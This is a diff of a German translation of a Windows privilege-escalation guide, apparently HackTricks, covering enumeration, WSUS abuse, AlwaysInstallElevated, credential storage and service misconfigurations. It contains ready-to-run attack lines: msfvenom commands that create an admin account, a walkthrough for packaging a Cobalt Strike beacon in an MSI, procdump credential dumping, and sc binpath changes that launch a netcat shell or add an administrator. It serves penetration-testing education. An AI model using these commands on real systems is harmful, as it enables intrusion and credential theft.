Abwehrmechanismen auflisten, bevor du mit der privilege escalation-Enumeration beginnst: {{#ref}} @@ -44,9 +44,9 @@ Es gibt verschiedene Dinge in Windows, die dich daran hindern können, das Syste ## Systeminfo -### Versionsinformationen +### Versionsinformationen ermitteln -Prüfe, ob die Windows-Version bekannte Schwachstellen hat (prüfe auch die angewendeten Patches). +Überprüfe, ob die Windows-Version bekannte Schwachstellen hat (prüfe auch die angewendeten Patches). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,23 +59,23 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Version Exploits +### Version-Exploits -Diese [site](https://msrc.microsoft.com/update-guide/vulnerability) ist praktisch, um detaillierte Informationen über Microsoft-Sicherheitslücken zu finden. Diese Datenbank enthält mehr als 4,700 Sicherheitslücken und zeigt die **massive Angriffsfläche**, die eine Windows-Umgebung bietet. +Diese [site](https://msrc.microsoft.com/update-guide/vulnerability) ist praktisch, um detaillierte Informationen über Microsoft-Sicherheitslücken zu recherchieren. Diese Datenbank enthält mehr als 4.700 Sicherheitslücken und zeigt die **massive Angriffsfläche**, die eine Windows-Umgebung bietet. **Auf dem System** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas hat watson embedded)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas has watson embedded)_ **Lokal mit Systeminformationen** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Github-Repos von exploits:** +**Github-Repos mit Exploits:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -83,7 +83,7 @@ Diese [site](https://msrc.microsoft.com/update-guide/vulnerability) ist praktisc ### Umgebung -Sind irgendwelche credential/Juicy info in den env variables gespeichert? +Gibt es irgendwelche Credentials/Juicy-Informationen, die in den Umgebungsvariablen gespeichert sind? ```bash set dir env: @@ -101,7 +101,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` ### PowerShell-Transkriptdateien -Weitere Informationen zum Aktivieren finden Sie unter [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) +Anleitung zum Aktivieren finden Sie unter [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,9 +116,9 @@ Stop-Transcript ``` ### PowerShell Module Logging -Details von PowerShell-Pipeline-Ausführungen werden aufgezeichnet; dazu gehören ausgeführte Befehle, Aufrufe von Befehlen und Teile von Skripten. Vollständige Ausführungsdetails und Ausgabeergebnisse werden jedoch möglicherweise nicht erfasst. +Details von PowerShell-Pipeline-Ausführungen werden protokolliert – dazu gehören ausgeführte Befehle, Befehlaufrufe und Teile von Skripten. Allerdings werden möglicherweise nicht alle Ausführungsdetails und Ausgabeergebnisse erfasst. -Um dies zu aktivieren, befolge die Anweisungen im Abschnitt "Transcript files" der Dokumentation und wähle **"Module Logging"** statt **"Powershell Transcription"**. +Um dies zu aktivieren, folgen Sie den Anweisungen im Abschnitt "Transcript files" der Dokumentation und wählen **"Module Logging"** anstelle von **"Powershell Transcription"**. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging @@ -131,15 +131,15 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Eine vollständige Aufzeichnung aller Aktivitäten und des gesamten Inhalts der Skriptausführung wird erfasst, sodass jeder Codeblock während der Ausführung dokumentiert wird. Dieser Prozess bewahrt eine umfassende Prüfspur jeder Aktivität, die für forensics und die Analyse bösartiger Aktivitäten wertvoll ist. Durch die Dokumentation sämtlicher Aktivitäten zum Zeitpunkt der Ausführung werden detaillierte Einblicke in den Ablauf gewonnen. +Ein vollständiges Aktivitäts- und Inhaltsprotokoll der Ausführung des Skripts wird erfasst, sodass jeder Codeblock beim Ausführen dokumentiert wird. Dieser Prozess bewahrt eine umfassende Auditspur jeder Aktivität, wertvoll für forensics und die Analyse von bösartigem Verhalten. Durch die Dokumentation aller Aktivitäten zum Zeitpunkt der Ausführung werden detaillierte Einblicke in den Ablauf bereitgestellt. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Die Protokolleinträge für den Script Block befinden sich im Windows Event Viewer unter dem Pfad: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ -Um die letzten 20 Einträge anzuzeigen, können Sie Folgendes verwenden: +Protokollereignisse für den Script Block sind in der Windows-Ereignisanzeige unter dem Pfad zu finden: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Um die letzten 20 Ereignisse anzuzeigen, können Sie Folgendes verwenden: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` @@ -156,13 +156,13 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Du kannst das System kompromittieren, wenn die Updates nicht über http**S** sondern http angefordert werden. +Du kannst das System kompromittieren, wenn die Updates nicht über http**S**, sondern über http angefordert werden. -Du beginnst damit zu prüfen, ob das Netzwerk ein nicht-SSL WSUS-Update verwendet, indem du Folgendes in cmd ausführst: +Du beginnst damit zu prüfen, ob das Netzwerk ein nicht-SSL WSUS update verwendet, indem du im cmd Folgendes ausführst: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -Oder Folgendes in PowerShell: +Oder das Folgende in PowerShell: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` @@ -182,11 +182,11 @@ PSProvider : Microsoft.PowerShell.Core\Registry ``` Und wenn `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` oder `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` gleich `1` ist. -Dann ist **it is exploitable.** Wenn der letzte Registry-Wert gleich 0 ist, wird der WSUS-Eintrag ignoriert. +Dann ist **es ausnutzbar.** Wenn der zuletzt genannte Registrierungseintrag gleich 0 ist, wird der WSUS-Eintrag ignoriert. -Um diese Schwachstelle auszunutzen, kann man Tools wie [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) verwenden — dies sind MiTM-weaponized Exploit-Skripte, um 'gefälschte' Updates in non-SSL WSUS-Verkehr zu injizieren. +Um diese Schwachstelle auszunutzen, können Sie Tools wie verwenden: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) — das sind MiTM weaponized exploits scripts, um 'fake' Updates in non-SSL WSUS-Verkehr zu injizieren. -Read the research here: +Lesen Sie die Forschung hier: {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -194,18 +194,18 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** -[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -Grundsätzlich ist dies der Fehler, den dieser Bug ausnutzt: +[**Lesen Sie den vollständigen Bericht hier**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ +Im Wesentlichen ist dies die Schwachstelle, die dieser Bug ausnutzt: -> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset. +> Wenn wir die Möglichkeit haben, unseren lokalen Benutzerproxy zu ändern, und Windows Updates den in den Internet Explorer-Einstellungen konfigurierten Proxy verwendet, haben wir damit die Möglichkeit, [PyWSUS](https://github.com/GoSecure/pywsus) lokal auszuführen, unseren eigenen Traffic abzufangen und Code als erhöhter Benutzer auf unserem Asset auszuführen. > -> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. +> Außerdem, da der WSUS-Dienst die Einstellungen des aktuellen Benutzers verwendet, benutzt er auch dessen Zertifikatsspeicher. Wenn wir ein selbstsigniertes Zertifikat für den WSUS-Hostnamen erzeugen und dieses Zertifikat in den Zertifikatsspeicher des aktuellen Benutzers hinzufügen, können wir sowohl HTTP- als auch HTTPS-WSUS-Verkehr abfangen. WSUS verwendet keine HSTS-ähnlichen Mechanismen, um eine trust-on-first-use-artige Validierung des Zertifikats zu implementieren. Wenn das präsentierte Zertifikat vom Benutzer vertraut wird und den korrekten Hostnamen hat, wird es vom Dienst akzeptiert. -You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). +Sie können diese Schwachstelle mit dem Tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) ausnutzen (sobald es freigegeben ist). -## Drittanbieter-Auto-Updater und Agent-IPC (local privesc) +## Drittanbieter Auto-Updater und Agent-IPC (local privesc) -Viele Enterprise-Agenten stellen eine localhost-IPC-Schnittstelle und einen privilegierten Update-Kanal bereit. Wenn die Enrollment auf einen Angreifer-Server umgeleitet werden kann und der Updater einer rogue root CA oder schwachen Signaturprüfungen vertraut, kann ein lokaler Benutzer ein bösartiges MSI bereitstellen, das vom SYSTEM-Dienst installiert wird. Siehe eine generalisierte Technik (basierend auf der Netskope stAgentSvc chain – CVE-2025-0309) hier: +Viele Enterprise-Agenten öffnen eine localhost IPC-Oberfläche und einen privilegierten Update-Kanal. Wenn die Enrollment auf einen Angreifer-Server umgeleitet werden kann und der Updater einer rogue root CA oder schwachen Signaturprüfungen vertraut, kann ein lokaler Benutzer ein bösartiges MSI bereitstellen, das vom SYSTEM-Dienst installiert wird. Siehe hier eine verallgemeinerte Technik (basierend auf der Netskope stAgentSvc-Kette – CVE-2025-0309): {{#ref}} @@ -214,15 +214,15 @@ abusing-auto-updaters-and-ipc.md ## KrbRelayUp -Eine **local privilege escalation** Schwachstelle existiert in Windows **domain**-Umgebungen unter bestimmten Bedingungen. Zu diesen Bedingungen gehören Umgebungen, in denen **LDAP signing is not enforced,** Benutzer Self-rights besitzen, die es ihnen erlauben, **Resource-Based Constrained Delegation (RBCD)** zu konfigurieren, und die Möglichkeit für Benutzer, Computer innerhalb der Domain zu erstellen. Es ist wichtig zu beachten, dass diese **Anforderungen** mit Standardeinstellungen erfüllt sind. +Eine **local privilege escalation**-Schwachstelle existiert in Windows **domain**-Umgebungen unter bestimmten Bedingungen. Diese Bedingungen umfassen Umgebungen, in denen **LDAP signing is not enforced,** Benutzer über Rechte verfügen, **Resource-Based Constrained Delegation (RBCD)** zu konfigurieren, und die Möglichkeit besteht, dass Benutzer Computer innerhalb der Domain erstellen können. Es ist wichtig zu beachten, dass diese **Anforderungen** mit **Standardkonfigurationen** erfüllt sind. -Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Finden Sie den **Exploit unter** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -Für mehr Informationen zum Ablauf des Angriffs siehe [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +Für weitere Informationen zum Ablauf des Angriffs siehe [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**If** diese 2 Registry-Einträge **enabled** sind (Wert ist **0x1**), dann können Benutzer beliebiger Privilegien `*.msi` Dateien als NT AUTHORITY\\**SYSTEM** **install** (ausführen). +**Wenn** diese 2 Registry-Einträge **aktiviert** sind (Wert ist **0x1**), dann können Benutzer beliebiger Berechtigungsstufen `*.msi`-Dateien als NT AUTHORITY\\**SYSTEM** **installieren** (ausführen). ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -232,19 +232,19 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -If you have a meterpreter session you can automate this technique using the module **`exploit/windows/local/always_install_elevated`** +Wenn Sie eine meterpreter-Sitzung haben, können Sie diese Technik mit dem Modul **`exploit/windows/local/always_install_elevated`** automatisieren. ### PowerUP -Verwenden Sie den Befehl `Write-UserAddMSI` von power-up, um im aktuellen Verzeichnis eine Windows-MSI-Binärdatei zur Privilegieneskalation zu erstellen. Dieses Skript schreibt einen vorkompilierten MSI-Installer, der zur Hinzufügung eines Benutzers/einer Gruppe auffordert (Sie benötigen also GIU-Zugriff): +Verwenden Sie den Befehl `Write-UserAddMSI` von power-up, um im aktuellen Verzeichnis eine Windows MSI-Binärdatei für privilege escalation zu erstellen. Dieses Skript schreibt einen vorkompilierten MSI-Installer, der zur Hinzufügung eines Benutzers/einer Gruppe auffordert (daher benötigen Sie GIU access): ``` Write-UserAddMSI ``` Führe einfach die erstellte Binary aus, um Privilegien zu eskalieren. -### MSI Wrapper +### MSI-Wrapper -Lies dieses Tutorial, um zu lernen, wie man einen MSI-Wrapper mit diesen Tools erstellt. Beachte, dass du eine "**.bat**"-Datei einbinden kannst, wenn du **nur** Befehlszeilen **ausführen** möchtest. +Lies dieses Tutorial, um zu lernen, wie man einen MSI-Wrapper mit diesen Tools erstellt. Beachte, dass du eine "**.bat**"-Datei einpacken kannst, wenn du **nur** Kommandozeilen **ausführen** willst. {{#ref}} @@ -260,18 +260,18 @@ create-msi-with-wix.md ### MSI mit Visual Studio erstellen -- **Generiere** mit Cobalt Strike oder Metasploit eine **neue Windows EXE TCP payload** in `C:\privesc\beacon.exe` -- Öffne **Visual Studio**, wähle **Create a new project** und gib "installer" in das Suchfeld ein. Wähle das **Setup Wizard**-Projekt und klicke **Next**. -- Vergib dem Projekt einen Namen, wie **AlwaysPrivesc**, verwende **`C:\privesc`** als Standort, wähle **place solution and project in the same directory**, und klicke **Create**. -- Klicke weiter auf **Next**, bis du zu Schritt 3 von 4 gelangst (choose files to include). Klicke **Add** und wähle die Beacon-Payload, die du gerade erzeugt hast. Dann klicke **Finish**. +- **Erzeuge** mit Cobalt Strike oder Metasploit ein **neues Windows EXE TCP payload** in `C:\privesc\beacon.exe` +- Öffne **Visual Studio**, wähle **Create a new project** und gib "installer" in das Suchfeld ein. Wähle das **Setup Wizard**-Projekt und klicke auf **Next**. +- Gib dem Projekt einen Namen, z. B. **AlwaysPrivesc**, verwende **`C:\privesc`** als Speicherort, wähle **place solution and project in the same directory**, und klicke auf **Create**. +- Klicke weiterhin auf **Next**, bis du zu Schritt 3 von 4 gelangst (choose files to include). Klicke auf **Add** und wähle die Beacon-Payload, die du gerade erzeugt hast. Dann klicke auf **Finish**. - Markiere das **AlwaysPrivesc**-Projekt im **Solution Explorer** und ändere in den **Properties** **TargetPlatform** von **x86** auf **x64**. -- Es gibt weitere Eigenschaften, die du ändern kannst, wie **Author** und **Manufacturer**, die die installierte App glaubwürdiger erscheinen lassen können. +- Es gibt weitere Properties, die du ändern kannst, wie **Author** und **Manufacturer**, die die installierte App legitimer erscheinen lassen können. - Rechtsklicke das Projekt und wähle **View > Custom Actions**. - Rechtsklicke **Install** und wähle **Add Custom Action**. -- Doppelklicke auf **Application Folder**, wähle deine **beacon.exe**-Datei und klicke **OK**. Dadurch wird sichergestellt, dass die Beacon-Payload sofort ausgeführt wird, sobald der Installer gestartet wird. +- Doppelklicke auf **Application Folder**, wähle deine **beacon.exe**-Datei und klicke **OK**. Dadurch wird sichergestellt, dass die Beacon-Payload sofort beim Ausführen des Installers ausgeführt wird. - Unter den **Custom Action Properties** ändere **Run64Bit** auf **True**. -- Schließlich **baue es**. -- Falls die Warnung `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` angezeigt wird, stelle sicher, dass du die Plattform auf x64 setzt. +- Baue das Projekt schließlich. +- Wenn die Warnung `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` angezeigt wird, stelle sicher, dass du die Plattform auf x64 gesetzt hast. ### MSI-Installation @@ -285,19 +285,19 @@ Um diese Schwachstelle auszunutzen, können Sie verwenden: _exploit/windows/loca ### Audit-Einstellungen -Diese Einstellungen entscheiden, was **protokolliert** wird, daher sollten Sie darauf achten +Diese Einstellungen legen fest, was **protokolliert** wird, daher sollten Sie darauf achten ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding, es ist interessant zu wissen, wohin die logs gesendet werden +Windows Event Forwarding ist interessant, um zu wissen, wohin die Logs gesendet werden. ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** ist für die **Verwaltung von lokalen Administratorpasswörtern** konzipiert und stellt sicher, dass jedes Passwort einzigartig, zufällig generiert und regelmäßig auf Computern, die einer Domäne angehören, aktualisiert wird. Diese Passwörter werden sicher in Active Directory gespeichert und können nur von Benutzern abgerufen werden, denen über ACLs ausreichende Berechtigungen gewährt wurden, sodass sie, falls autorisiert, lokale Administratorpasswörter anzeigen können. +**LAPS** wurde für die **Verwaltung lokaler Administrator-Passwörter** entwickelt und stellt sicher, dass jedes Passwort auf Computern, die einer Domäne angehören, **einzigartig, zufällig und regelmäßig aktualisiert** wird. Diese Passwörter werden sicher in Active Directory gespeichert und können nur von Benutzern abgerufen werden, denen über ACLs ausreichende Berechtigungen zum Anzeigen lokaler Administrator-Passwörter gewährt wurden. {{#ref}} @@ -306,14 +306,14 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Wenn aktiviert, **werden Passwörter im Klartext in LSASS gespeichert** (Local Security Authority Subsystem Service).\ -[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). +Wenn aktiviert, werden **Klartext-Passwörter in LSASS gespeichert** (Local Security Authority Subsystem Service).\ +[**Mehr Informationen zu WDigest auf dieser Seite**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -Ab **Windows 8.1** hat Microsoft einen erweiterten Schutz für die Local Security Authority (LSA) eingeführt, um Versuche nicht vertrauenswürdiger Prozesse zu **blockieren**, ihren Speicher **auszulesen** oder Code zu injizieren und so das System weiter abzusichern.\ +Ab **Windows 8.1** führte Microsoft einen verbesserten Schutz für die Local Security Authority (LSA) ein, um Versuche von nicht vertrauenswürdigen Prozessen zu **blockieren**, **deren Speicher auszulesen** oder Code zu injizieren und so das System weiter abzusichern.\ [**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL @@ -326,8 +326,8 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**Domain credentials** werden von der **Local Security Authority** (LSA) authentifiziert und von Komponenten des Betriebssystems verwendet. Wenn die Anmeldedaten eines Benutzers von einem registrierten Sicherheitspaket authentifiziert werden, werden für den Benutzer typischerweise domain credentials erstellt.\ -[**Mehr Informationen zu Cached Credentials hier**](../stealing-credentials/credentials-protections.md#cached-credentials). +**Domain credentials** werden von der **Local Security Authority** (LSA) authentifiziert und von Betriebssystemkomponenten verwendet. Wenn die Logon-Daten eines Benutzers von einem registrierten security package authentifiziert werden, werden in der Regel domain credentials für diesen Benutzer angelegt.\ +[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials) ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` @@ -335,7 +335,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ### Benutzer & Gruppen auflisten -Du solltest prüfen, ob eine der Gruppen, denen du angehörst, interessante Berechtigungen hat +Du solltest prüfen, ob eine der Gruppen, denen du angehörst, interessante Berechtigungen hat. ```bash # CMD net users %username% #Me @@ -352,17 +352,17 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Privilegierte Gruppen -Wenn du **zu einer privilegierten Gruppe gehörst, kannst du möglicherweise Privilegien eskalieren**. Lerne hier mehr über privilegierte Gruppen und wie du sie ausnutzen kannst, um Privilegien zu eskalieren: +Wenn Sie **zu einer privilegierten Gruppe gehören, können Sie möglicherweise Privilegien eskalieren**. Erfahren Sie hier mehr über privilegierte Gruppen und wie man sie missbraucht, um Privilegien zu eskalieren: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### Token manipulation +### Token-Manipulation -**Erfahre mehr** darüber, was ein **token** ist auf dieser Seite: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Sieh dir die folgende Seite an, um **interessante tokens** kennenzulernen und wie man sie missbraucht: +**Erfahren Sie mehr** darüber, was ein **token** ist auf dieser Seite: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +Sehen Sie sich die folgende Seite an, um **mehr über interessante tokens zu erfahren** und wie man sie missbraucht: {{#ref}} @@ -379,11 +379,11 @@ klist sessions dir C:\Users Get-ChildItem C:\Users ``` -### Passwortrichtlinie +### Passwort-Richtlinie ```bash net accounts ``` -### Den Inhalt der Zwischenablage abrufen +### Inhalt der Zwischenablage abrufen ```bash powershell -command "Get-Clipboard" ``` @@ -391,8 +391,8 @@ powershell -command "Get-Clipboard" ### Datei- und Ordnerberechtigungen -Als Erstes, beim Auflisten der Prozesse **prüfe, ob Passwörter in der Befehlszeile des Prozesses stehen**.\ -Prüfe, ob du ein laufendes **binary überschreiben kannst** oder ob du Schreibrechte für den Ordner des Binaries hast, um mögliche [**DLL Hijacking attacks**](dll-hijacking/index.html) auszunutzen: +Zuerst, beim Auflisten der Prozesse **prüfe auf Passwörter in der Kommandozeile des Prozesses**.\ +Überprüfe, ob du **eine laufende Binärdatei überschreiben kannst** oder Schreibrechte für den Ordner der Binärdateien hast, um mögliche [**DLL Hijacking attacks**](dll-hijacking/index.html) auszunutzen: ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -403,9 +403,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Prüfe stets, ob mögliche [**electron/cef/chromium debuggers** laufen; du könntest diese missbrauchen, um Privilegien zu eskalieren](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Prüfe immer, ob mögliche [**electron/cef/chromium debuggers** laufen — du könntest sie ausnutzen, um Privilegien zu eskalieren](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**Überprüfen der Berechtigungen der Prozess-Binaries** +**Überprüfen der Berechtigungen der Binärdateien der Prozesse** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -424,15 +424,15 @@ todos %username%" && echo. ``` ### Memory Password mining -Du kannst mit **procdump** von sysinternals einen memory dump eines laufenden Prozesses erstellen. Dienste wie FTP enthalten die **credentials in clear text in memory** — versuche, den memory dump zu erstellen und die credentials auszulesen. +Du kannst einen memory dump eines laufenden Prozesses mit **procdump** von sysinternals erstellen. Dienste wie FTP enthalten die **credentials in clear text in memory** — versuche, den Speicher zu dumpen und die credentials auszulesen. ```bash procdump.exe -accepteula -ma ``` ### Unsichere GUI-Apps -**Als SYSTEM ausgeführte Anwendungen können einem Benutzer erlauben, eine CMD zu starten oder Verzeichnisse zu durchsuchen.** +**Anwendungen, die als SYSTEM ausgeführt werden, können einem Benutzer erlauben, eine CMD zu starten oder Verzeichnisse zu durchsuchen.** -Beispiel: "Windows Help and Support" (Windows + F1), suche nach "command prompt", klicke auf "Click to open Command Prompt" +Beispiel: "Windows Help and Support" (Windows + F1), nach "command prompt" suchen, auf "Click to open Command Prompt" klicken ## Dienste @@ -445,15 +445,15 @@ Get-Service ``` ### Berechtigungen -Sie können **sc** verwenden, um Informationen über einen Dienst zu erhalten. +Du kannst **sc** verwenden, um Informationen über einen Dienst zu erhalten. ```bash sc qc ``` -Es wird empfohlen, das binary **accesschk** von _Sysinternals_ zu verwenden, um das erforderliche privilege level für jeden Dienst zu prüfen. +Es wird empfohlen, die Binärdatei **accesschk** von _Sysinternals_ zu besitzen, um das erforderliche Privilegienlevel für jeden Dienst zu prüfen. ```bash accesschk.exe -ucqv #Check rights for different groups ``` -Es wird empfohlen zu prüfen, ob "Authenticated Users" einen beliebigen Dienst ändern können: +Es wird empfohlen zu prüfen, ob "Authenticated Users" beliebige Dienste ändern können: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula @@ -464,25 +464,25 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ### Dienst aktivieren -Wenn Sie diesen Fehler haben (zum Beispiel bei SSDPSRV): +Wenn Sie diesen Fehler erhalten (zum Beispiel bei SSDPSRV): -_System error 1058 has occurred._\ -_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ +_Systemfehler 1058 ist aufgetreten._\ +_Der Dienst kann nicht gestartet werden, entweder weil er deaktiviert ist oder weil ihm keine aktivierten Geräte zugeordnet sind._ -Sie können es wie folgt aktivieren +Sie können ihn folgendermaßen aktivieren ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**Beachte, dass der Dienst upnphost für seine Funktion von SSDPSRV abhängig ist (für XP SP1)** +**Beachte, dass der Dienst upnphost von SSDPSRV abhängig ist, damit er funktioniert (für XP SP1)** -**Eine andere Umgehung** dieses Problems ist das Ausführen von: +**Ein weiterer Workaround** für dieses Problem ist das Ausführen von: ``` sc.exe config usosvc start= auto ``` -### **Service-Binärpfad ändern** +### **Dienst-Binärpfad ändern** -In dem Szenario, in dem die Gruppe "Authenticated users" über **SERVICE_ALL_ACCESS** für einen Service verfügt, ist die Modifikation der ausführbaren Binärdatei des Service möglich. Um **sc** zu modifizieren und auszuführen: +Falls die Gruppe "Authenticated users" für einen Dienst **SERVICE_ALL_ACCESS** besitzt, ist es möglich, die ausführbare Binärdatei des Dienstes zu verändern. Um **sc** zu ändern und auszuführen: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -495,36 +495,35 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -Privilegien können durch folgende Berechtigungen eskaliert werden: +Privilegien können durch verschiedene Berechtigungen eskaliert werden: -- **SERVICE_CHANGE_CONFIG**: Ermöglicht die Neukonfiguration des Service-Binaries. -- **WRITE_DAC**: Ermöglicht die Neukonfiguration von Berechtigungen, wodurch Service-Konfigurationen geändert werden können. -- **WRITE_OWNER**: Ermöglicht den Erwerb des Eigentums und die Neukonfiguration von Berechtigungen. +- **SERVICE_CHANGE_CONFIG**: Ermöglicht die Neukonfiguration der vom Dienst ausgeführten Binärdatei. +- **WRITE_DAC**: Ermöglicht die Änderung von Berechtigungen, was wiederum das Ändern von Service-Konfigurationen erlaubt. +- **WRITE_OWNER**: Ermöglicht das Übernehmen des Besitzes und das Ändern von Berechtigungen. - **GENERIC_WRITE**: Verleiht ebenfalls die Möglichkeit, Service-Konfigurationen zu ändern. - 